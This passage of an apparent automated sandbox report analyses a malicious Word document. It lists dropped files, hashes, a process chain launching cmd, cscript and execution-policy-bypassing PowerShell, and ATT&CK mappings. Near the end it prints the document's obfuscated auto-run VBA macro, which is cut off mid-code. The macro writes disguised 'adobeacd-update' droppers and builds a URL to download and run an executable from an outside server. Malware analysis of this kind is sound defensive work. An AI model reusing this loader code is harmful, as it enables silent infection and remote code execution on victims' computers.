threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=21483635036e264af74ffb763e0decd5fdbdffa5becae09393e5edf76b40e73e5454321bd677c07a6ecc00c1556d608f893416b0843144a8095a1b976c2a24b72aec3f87f0","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=21483635036e264af74ffb763e0decd5fdbdffa5becae09393e5edf76b40e73e5454321bd677c07a6ecc00c1556d608f893416b0843144a8095a1b976c2a24b72aec3f87f0","has_overview":false,"extended_details":null},{"name":"index.dat","file_path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","file_size":108,"md5":"a21762f213bd2a9052f18daf3c0325d2","sha1":"b952bea6f9f5c069ada70f499125f3f92e8cfcc6","sha256":"f4e0f5859b62f31c6efa7e90172598d623545529a969a792b46de7658df0da12","sha512":"05147842765e463b5be7f6c61a04a951106a4c3a1c2b1becc35d7bd17f237d73e92283d95b4da72f9118a2d337e6f24fe827e944e560fbe9406e98b721d86ea2","type_tags":["data"],"description":"data","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=176f9e2c8ee4bea214b9182a3588350b2e5773d029533db7f67fe2be9aecead40a41a086ac9933f16efc57a2b0a90575590e7dc2a0888c8815fea2aceeee9d9f368bc5","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=176f9e2c8ee4bea214b9182a3588350b2e5773d029533db7f67fe2be9aecead40a41a086ac9933f16efc57a2b0a90575590e7dc2a0888c8815fea2aceeee9d9f368bc5","has_overview":false,"extended_details":null},{"name":"ExcludeDictionaryEN0409.lex","file_path":"%APPDATA%\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex","file_size":2,"md5":"f3b25701fe362ec84616a93a45ce9998","sha1":"d62636d8caec13f04e28442a0a6fa1afeb024bbb","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","sha512":"98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84","type_tags":["text"],"description":"Little-endian UTF-16 Unicode text, with no line terminators","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=b7b82cc9de65499236fc38aa77e3dc21550cfb523572e0dec10ce9320b377be575b9ddc128aabc134a85c9f306151aa0fd2cc3920f905da9c9df2f2a808212ee5930ad6da3e4dded546bc5cc4aca00338500a184c190","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=b7b82cc9de65499236fc38aa77e3dc21550cfb523572e0dec10ce9320b377be575b9ddc128aabc134a85c9f306151aa0fd2cc3920f905da9c9df2f2a808212ee5930ad6da3e4dded546bc5cc4aca00338500a184c190","has_overview":true,"extended_details":null},{"name":"ARVOG9VM8ZUJPONF5TQX.temp","file_path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\ARVOG9VM8ZUJPONF5TQX.temp","file_size":8016,"md5":"b5ec16728de2ff69437a36faf6e768ba","sha1":"31cd2144713e0e41c9809ffd918ceb7dcdef7530","sha256":"e69276c2e4fabe21031288de6e7165a6e36359c33609bba7f92e8af68d68094b","sha512":"4e4ecfc4df344b3f0f67a42ec60b602b57fdcef4248044669a719100f6608912dfd0bdc9f3c634e2d0f37ca944d22793ffee0bfb979c43bc9a5572faa8b53391","type_tags":["data"],"description":"data","runtime_process":"powershell.exe (PID: 3388)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=987004f3b9486b43e88b90d2f67b09565a09e01630932493b930d99d35b1842b28344bffd65956b2eac23328d681cb52257a75dc5e1f3a322a894f7d10acaf1271fc163d6bbbc11a54cca73cf4d3823f6ab048","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=987004f3b9486b43e88b90d2f67b09565a09e01630932493b930d99d35b1842b28344bffd65956b2eac23328d681cb52257a75dc5e1f3a322a894f7d10acaf1271fc163d6bbbc11a54cca73cf4d3823f6ab048","has_overview":false,"extended_details":null},{"name":"MSForms.exd","file_path":"%TEMP%\\VBE\\MSForms.exd","file_size":147284,"md5":"163587da9f6148fb4f75632b61ea98ad","sha1":"e4eb629e6d53e4912b7695b7e42e7c9e3412d3cd","sha256":"3d06503635add31a12fa328b8a55081258308cedac342f395c306fada463917f","sha512":"ed4357c8273ab67af989265cc7cf69630a102cfa6f0e6b6bbbe89e5e6c1ed734a3ca9820d2a0fa525ef56c9d8fdcd587a0ed9367ba9bc4a7180de42351b8cbe5","type_tags":["data"],"description":"data","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=b3c0ff7a912f548083bd23944a5728a6dc22fb57aea4da1b5b83c35a4a52ff17c01df2aa3c12f417224e79f21fee28ed0920c3a3b4f15d88cefc13c4712d044af41bc71da7ea","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=b3c0ff7a912f548083bd23944a5728a6dc22fb57aea4da1b5b83c35a4a52ff17c01df2aa3c12f417224e79f21fee28ed0920c3a3b4f15d88cefc13c4712d044af41bc71da7ea","has_overview":false,"extended_details":null},{"name":"adobeacd-update.vbs","file_path":"%TEMP%\\adobeacd-update.vbs","file_size":359,"md5":"c1d09e4a95955650776364b2dae3d0d3","sha1":"1c5541d6210904ea8b95e5f0801c0494c7f54580","sha256":"9fd3643f246abbf5a0df7808d1100ce0171e22d2c5de844117bacf01e3f13eb4","sha512":"1b3056750fecfbc723d6f257db46f9b8e757b7eeed3b9b6e2cc7a8915e64ace77ddc27b22c5cb2f62efd62195a6f6da63c6b07f7f72b8d8af91b39127d6c21e5","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"cscript.exe (PID: 1460)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=d6f18f1dd8f75b4b1d9ef2fea0730c7f4a9b6147c8265b0b504a679c7a6b989e905b3f4ca75a438c4548229a20e4bf5d16d5987ce81058da23f25123d5f67c3a1b70eebb0966a227a6bf9f30","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=d6f18f1dd8f75b4b1d9ef2fea0730c7f4a9b6147c8265b0b504a679c7a6b989e905b3f4ca75a438c4548229a20e4bf5d16d5987ce81058da23f25123d5f67c3a1b70eebb0966a227a6bf9f30","has_overview":false,"extended_details":null},{"name":"~WRS_A6E856C3-B2D6-40EC-93D2-6357C746E219_.tmp","file_path":null,"file_size":1024,"md5":"5d4d94ee7e06bbb0af9584119797b23a","sha1":"dbb111419c704f116efa8e72471dd83e86e49677","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","sha512":"95f83ae84cafcced5eaf504546725c34d5f9710e5ca2d11761486970f2fbeccb25f9cf50bbfc272bd75e1a66a18b7783f09e1c1454afda519624bc2bb2f28ba4","type_tags":["data"],"description":"data","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=cda3800e37e111bfea7dc2464b5606f14b9403b0d3c162b576b47fc2502ec8e28fbfb771da4913c902aa89f2eb726560dc6fc55cfbf3bab26c9af282949268edb803d764f77e345e1043e39edd970f4cb4d1223a61c53f8108db4320eb2804156ee01163bcffad811b","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=cda3800e37e111bfea7dc2464b5606f14b9403b0d3c162b576b47fc2502ec8e28fbfb771da4913c902aa89f2eb726560dc6fc55cfbf3bab26c9af282949268edb803d764f77e345e1043e39edd970f4cb4d1223a61c53f8108db4320eb2804156ee01163bcffad811b","has_overview":true,"extended_details":null},{"name":"~_Normal.dotm","file_path":null,"file_size":162,"md5":"16cf07b6d6f758652122f5c01b561b38","sha1":"5ef543ce193044191392e2b8e887a300c52baf74","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","sha512":"74c4774646d522d6304e9098345e0231459dd892bc244df95488de34dd0a7fdcb15855e96d6113527d3b6a7d2bfd01819ff4359416df796d31072e8f9ad84b58","type_tags":["data"],"description":"data","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=b94eebd12800a61f5dc804b5e0cc620ae64345e7060aeb773f3f48da38106b47bc6a78f85b968e0048f2b426a9fef82995a8026c05aa94d6b5599de7baf75096649f9890fe434a19","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=b94eebd12800a61f5dc804b5e0cc620ae64345e7060aeb773f3f48da38106b47bc6a78f85b968e0048f2b426a9fef82995a8026c05aa94d6b5599de7baf75096649f9890fe434a19","has_overview":true,"extended_details":null}],"file_metadata":{"file_compositions":[],"imported_objects":[],"file_analysis":[],"total_file_compositions_imports":null},"processes":[{"uid":"00020150-00000308","parentuid":null,"name":"WINWORD.EXE","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","command_line":"/n \"C:\\baddoc.doc\"","sha256":"c0a081e6d5e0279be4503f26f0b01bcedeebf1dfb95fcbe4fb935f881d111da0","av_label":null,"av_matched":null,"av_total":null,"pid":"308","icon":"$25","process_flags":[]},{"uid":"00020559-00002660","parentuid":"00020150-00000308","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c %TEMP%\\adobeacd-update.bat","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","av_label":null,"av_matched":null,"av_total":null,"pid":"2660","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00020573-00002884","parentuid":"00020559-00002660","name":"PING.EXE","normalized_path":"%WINDIR%\\System32\\PING.EXE","command_line":"ping 1.1.2.2","sha256":"14262982a64551fde126339b22b993b6e4aed520e53dd882e67d887b6b66f942","av_label":null,"av_matched":null,"av_total":null,"pid":"2884","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00021779-00003556","parentuid":"00020559-00002660","name":"chcp.com","normalized_path":"%WINDIR%\\System32\\chcp.com","command_line":"chcp 1251","sha256":"f9cd4a0f97eef77cc499a1ab9e3384c8ac42a44b58935b04f7e5c65a41fdd7c0","av_label":null,"av_matched":null,"av_total":null,"pid":"3556","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00021786-00001460","parentuid":"00020559-00002660","name":"cscript.exe","normalized_path":"%WINDIR%\\System32\\cscript.exe","command_line":"\"%TEMP%\\adobeacd-update\"\".\"\"v\"\"bs\"","sha256":"8350f39f98d9dba69254a979ede8d48ce88d9ce62cd62015181448c80e3ecadb","av_label":null,"av_matched":null,"av_total":null,"pid":"1460","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00021811-00003388","parentuid":"00021786-00001460","name":"powershell.exe","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","command_line":"-noexit -ExecutionPolicy bypass -noprofile -file %TEMP%\\adobeacd-update.ps1","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","av_label":null,"av_matched":null,"av_total":null,"pid":"3388","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null},{"name":"Network Activity","data":null}]},{"uid":"00024324-00001908","parentuid":"00021811-00003388","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c %TEMP%\\444.exe","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","av_label":null,"av_matched":null,"av_total":null,"pid":"1908","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]}],"mitre_attcks":[{"tactic":"Execution","technique":"User Execution","attck_id":"T1204","attck_id_wiki":"https://attack.mitre.org/techniques/T1204","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["Contains embedded VBA macros with suspicious keywords","Contains embedded VBA macros with interesting strings"],"informative_identifiers_count":1,"informative_identifiers":["Contains embedded VBA macros"],"parent":null},{"tactic":"Execution","technique":"Windows Management Instrumentation","attck_id":"T1047","attck_id_wiki":"https://attack.mitre.org/techniques/T1047","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Contains references to WMI/WMIC"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Execution","technique":"Command-Line Interface","attck_id":"T1059","attck_id_wiki":"https://attack.mitre.org/techniques/T1059","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Runs shell commands"],"parent":null},{"tactic":"Execution","technique":"Service Execution","attck_id":"T1035","attck_id_wiki":"https://attack.mitre.org/techniques/T1035","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Opened the service control manager"],"parent":null},{"tactic":"Persistence","technique":"Office Application Startup","attck_id":"T1137","attck_id_wiki":"https://attack.mitre.org/techniques/T1137","malicious_identifiers_count":1,"malicious_identifiers":["Contains embedded VBA macros with keywords that indicate auto-execute behavior"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains embedded VBA macros (normalized)"],"parent":null},{"tactic":"Persistence","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/techniques/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Loads rich edit control libraries","Hooks API calls","Installs hooks/patches the running process"],"parent":null},{"tactic":"Privilege Escalation","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/techniques/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Loads rich edit control libraries","Hooks API calls","Installs hooks/patches the running process"],"parent":null},{"tactic":"Defense Evasion","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/techniques/T1112","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Modifies proxy settings"],"informative_identifiers_count":1,"informative_identifiers":["Removes Office resiliency keys (often used to avoid problems opening documents)"],"parent":null},{"tactic":"Credential Access","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/techniques/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Loads rich edit control libraries","Hooks API calls","Installs hooks/patches the running process"],"parent":null},{"tactic":"Discovery","technique":"Query Registry","attck_id":"T1012","attck_id_wiki":"https://attack.mitre.org/techniques/T1012","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Reads the registry for installed applications"],"parent":null},{"tactic":"Discovery","technique":"Application Window Discovery","attck_id":"T1010","attck_id_wiki":"https://attack.mitre.org/techniques/T1010","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Scanning for window names"],"parent":null},{"tactic":"Discovery","technique":"Remote System Discovery","attck_id":"T1018","attck_id_wiki":"https://attack.mitre.org/techniques/T1018","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Checks network status using ping"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Collection","technique":"Email Collection","attck_id":"T1114","attck_id_wiki":"https://attack.mitre.org/techniques/T1114","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Found a potential E-Mail address in binary/memory"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Command and Control","technique":"Commonly Used Port","attck_id":"T1043","attck_id_wiki":"https://attack.mitre.org/techniques/T1043","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Sends traffic on typical HTTP outbound port, but without HTTP header"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null}],"network_mode":"default","signatures":[{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-71","type":3,"relevance":10,"name":"Queries the installation properties of user installed products","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00004119210000000100000000F01FEC\\INSTALLPROPERTIES\")","description_v2":["\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00004119210000000100000000F01FEC\\INSTALLPROPERTIES\")"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00004119210000000100000000F01FEC\\INSTALLPROPERTIES\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-55","type":3,"relevance":10,"name":"Reads the registry for installed applications","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINWORD.EXE\")\n \"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINWORD.EXE\")\n \"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")","description_v2":["\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINWORD.EXE\")","\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINWORD.EXE\")","\"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")","\"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINWORD.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINWORD.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"External Systems","identifier":"suricata-0","type":18,"relevance":10,"name":"Detected Suricata Alert","description":"Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 3, Severity: 3) categorized as \"Unknown Traffic\"\n Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 3, Severity: 3) categorized as \"Misc activity\"","description_v2":["Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 3, Severity: 3) categorized as \"Unknown Traffic\"","Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 3, Severity: 3) categorized as \"Misc activity\""],"description_v3":[{"type":"text","value":"Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 3, Severity: 3) categorized as \"Unknown Traffic\""},{"type":"linebreak"},{"type":"text","value":"Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 3, Severity: 3) categorized as \"Misc activity\""}],"origin":"Suricata Alerts","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-1","type":7,"relevance":1,"name":"Contacts server","description":"\"91.220.131.44:80\"","description_v2":["\"91.220.131.44:80\""],"description_v3":[{"type":"text","value":"\"91.220.131.44:80\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-13","type":0,"relevance":10,"name":"Contains embedded VBA macros","description":"$26","description_v2":["File \"ThisDocument.cls\" (Streampath: \"Macros/VBA/ThisDocument\") has code: \"Sub Auto_Open()","h","End Sub","Sub h()","Dim MY_FILENDIR, ASDASDSA, MY_FILDIR, XPFILEDIR, JAISODJAS","ds = 100","USER = Environ$(\"\" & Chr(Asc(Chr(ds + 17))) + \"s\" & \"er\" & \"na\" & \"me\")","","jks = ds","","PST2 = \"\" & \"a\" + \"do\" & \"be\" & \"ac\" & \"d-u\" & \"pd\" & \"a\" & \"te\" & \"\"","VBT2 = \"\" & \"a\" + Chr(100) + \"o\" & \"b\" & \"ea\" & \"cd-up\" & \"da\" & \"te\" & \"\"","VBTXP2 = \"\" & \"a\" & Chr(100) & \"o\" & \"be\" + \"ac\" & \"d-u\" + \"pd\" + \"atex\" + \"p\" & \"\"","BART2 = \"\" & \"a\" + Chr(100) & \"o\" & \"b\" & \"e\" + \"ac\" & \"d-up\" + \"date\" & \"\"","","PST1 = PST2 + \".\" + Chr(Asc(\"p\")) + Chr(ds + 15) + \"1\"","VBT1 = VBT2 + \".\" + Chr(118) + \"b\" + Chr(Asc(\"s\")) + \"\"","VBTXP = VBTXP2 + \".\" + Chr(Asc(\"v\")) + Chr(Asc(\"b\")) + \"s\" + \"\"","BART = BART2 + Chr(Abs(46)) + Chr(Abs(98)) + Chr(Asc(Chr(Asc(\"a\")))) + Chr(Asc(Chr(ds + 16))) + \"\"","","JSIQOJQ = BART2 + Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98)) + Chr(Asc(Chr(Abs(ds / 2 + 47)))) + Chr(Asc(Chr(ds + Fix(16.2)))) + \"\" & \"\"","","BART = JSIQOJQ","MY_FILENDIR = \"c:\\\" + Chr(Asc(\"U\")) + \"sers\\\" + USER + \"\\AppData\\Local\\Temp\\\" + PST1 + \"\" & \"\"","","ASDASDSA = \"c:\\\" + Chr(Asc(\"U\")) + \"sers\\\" + USER + \"\\App\" + Chr(Asc(\"D\")) + \"ata\\Local\\\" + Chr(Asc(\"T\")) + \"emp\\\" + BART","MY_FILDIR = \"c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\\\" + VBT1 + \"\"","XPFILEDIR = \"c:\\Windows\\Temp\\\" + VBTXP","TRT = \"c:\\Windows\\Temp\\\" + BART","KRT = TRT","HYF = KRT","NUWHDGJS = HYF","JASHDUIQWHDKJQAD = \".44/upd/install\"","","On Error Resume Next","SetAttr MY_FILENDIR, vbNormal","","If (Len(Dir(MY_FILENDIR)) <> 0) Then","Kill MY_FILENDIR","End If","","On Error Resume Next","SetAttr ASDASDSA, vbNormal","If (Dir(ASDASDSA) <> \"\") Then","Kill ASDASDSA","End If","","On Error Resume Next","SetAttr MY_FILDIR, vbNormal","If (Dir(MY_FILDIR) <> \"\") Then","Kill MY_FILDIR","End If","","On Error Resume Next","SetAttr XPFILEDIR, vbNormal","If (Dir(XPFILEDIR) <> \"\") Then","Kill XPFILEDIR","End If","","Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer","","Dim retVal As Variant","","FileNumber = FreeFile","FileNumb = FreeFile","FileNu = FreeFile","FileNukk = FreeFile","","FileNs = FreeFile","Kasdwq = FreeFile","FileNuG = FreeFile","Dim objWMIService As Variant","Dim colOperatingSystems As Variant","Dim objOperatingSystem As Variant","Set objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\\" & \".\\root\\cimv2\")","Set colOperatingSystems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")","For Each objOperatingSystem In colOperatingSystems","SysReport = SysReport & \"The operating system on this computer is \" & _","objOperatingSystem.Caption & \" (\" & objOperatingSystem.Version & \")\"","Next","","Set objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\\" & \".\\root\\cimv2\")","Set colOperatingSystems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")","For Each objOperatingSystem In colOperatingSystems","winverstr = objOperatingSystem.Version","Next","","","winver = Val(winverstr)","WaitFor (1)","jskw = winver","","If (jskw <= 5.5) Then","","Open NUWHDGJS For Output As #Kasdwq","Print #Kasdwq, \"@echo off\"","Print #Kasdwq, \":pinkator\"","Print #Kasdwq, \"pin\" + \"g 1.3.1.2 -n\" & \" 2\" + \"\"","LKASHDUIQWHQUDKNBWQKJDHQ = \"sakdj lksajds\" + \"sakdj sakjd sakhd jhqwiudhquid gughg\"","Print #Kasdwq, \"c\" & \"s\" + \"c\" & \"ri\" & \"pt\" & \".e\" & Chr(120) & \"e \" & Chr(34) & \"c:\\Windows\\Temp\" + \"\\\" + VBTXP + Chr(34) + \"\"","Print #Kasdwq, \"pin\" + \"g 2.2.1.1 -n\" & \" 2\" + \"\"","Print #Kasdwq, \"\" & \":windows\"","AIYDHLKASHDUIQWHQUDKNBWQKJDHQ = \"qwe23r32sakdj sdqwlksajds\" + \"sakdj sakjd sakhd jhqwiudhquid gughg\"","WQJHLKASHDUIQWHQUDKNBWQKJDHQ = \"sa3244tgfdkdj lksajds\" + \"sakdj sakjd sakhd jhqwiudhquid gughg\"","Print #Kasdwq, \"c:\\W\" + \"indows\\Te\" + \"mp\\444\" + \".\" + Chr(Asc(\"e\")) + Chr(Asc(\"x\")) + Chr(Asc(\"e\"))","Print #Kasdwq, \":loop\"","Print #Kasdwq, \"pin\" + \"g 1.3.1.2 -n\" & \" 1\"","Print #Kasdwq, \"set tar1=\" + Chr(34) + BART + Chr(33 + 1)","Print #Kasdwq, \"del \" + Chr(34) + \"c:\\Windows\\Temp\\\" + VBTXP + Chr(34)","Print #Kasdwq, \"del \" + Chr(34) + \"c\" & \":\\\" & \"W\" & \"ind\" & \"ows\\T\" & \"em\" & \"p\\\" + Chr(34) + \"%tar1%\" + \"\" & \"\"","Print #Kasdwq, \"if \" + \"exist \" + Chr(34) + \"c:\\W\" + \"indows\\T\" + \"emp\\\" + Chr(34) + \"%tar1%\" + \" goto loop\" + \"\"","Print #Kasdwq, \"if \" + \"exist \" + Chr(34) + \"c:\\W\" + \"indows\\T\" + \"emp\\\" + VBTXP + Chr(34) + \" goto loop\"","Print #Kasdwq, \"exit\"","Close #Kasdwq","","WaitFor (2)","mttt = 88","","Open XPFILEDIR For Output As #FileNumber","Print #FileNumber, \"strRT = \" + Chr(34) + \"h\" + Chr(Asc(Chr(Asc(\"t\")))) + \"t\" + \"p\" + \"://91.220.131\" + JASHDUIQWHDKJQAD + \".\" + Chr(Asc(\"e\")) + Chr(Asc(\"x\")) + \"e\" + Chr(34)","Print #FileNumber, \"jfeuygq = \" + Chr(34) + \"4.e\" + Chr(34) + \"+\" + Chr(34) + \"xe\" + Chr(34)","Print #FileNumber, \"strTecation = \" + Chr(34) + \"c:\\\" + Chr(Asc(\"W\")) + \"indows\\\" + Chr(Asc(\"T\")) + \"emp\\44\" + Chr(34) + \"+\" + \"jfeuygq\"","Print #FileNumber, \"khdfu =\" + Chr(34) + \"M\" + Chr(34) + \"+\" + Chr(34) + \"SX\" + Chr(34) + \"+\" + Chr(34) + 